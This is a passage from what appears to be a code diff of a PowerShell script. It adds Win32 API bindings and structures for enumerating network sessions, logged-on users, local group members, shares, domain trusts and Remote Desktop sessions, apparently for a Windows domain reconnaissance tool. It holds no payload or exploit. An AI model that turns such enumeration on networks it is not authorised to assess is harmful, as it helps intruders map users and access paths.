[Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), - (func kernel32 GetLastError ([Int]) @()) + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])) ) +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ + shi1_netname = field 0 String -MarshalAs @('LPWStr') + shi1_type = field 1 UInt32 + shi1_remark = field 2 String -MarshalAs @('LPWStr') +} + # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ wkui1_username = field 0 String -MarshalAs @('LPWStr') @@ -6938,8 +13915,7 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ DomainGuid = field 7 Guid } - $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] -$Kernel32 = $Types['kernel32'] +$Wtsapi32 = $Types['wtsapi32']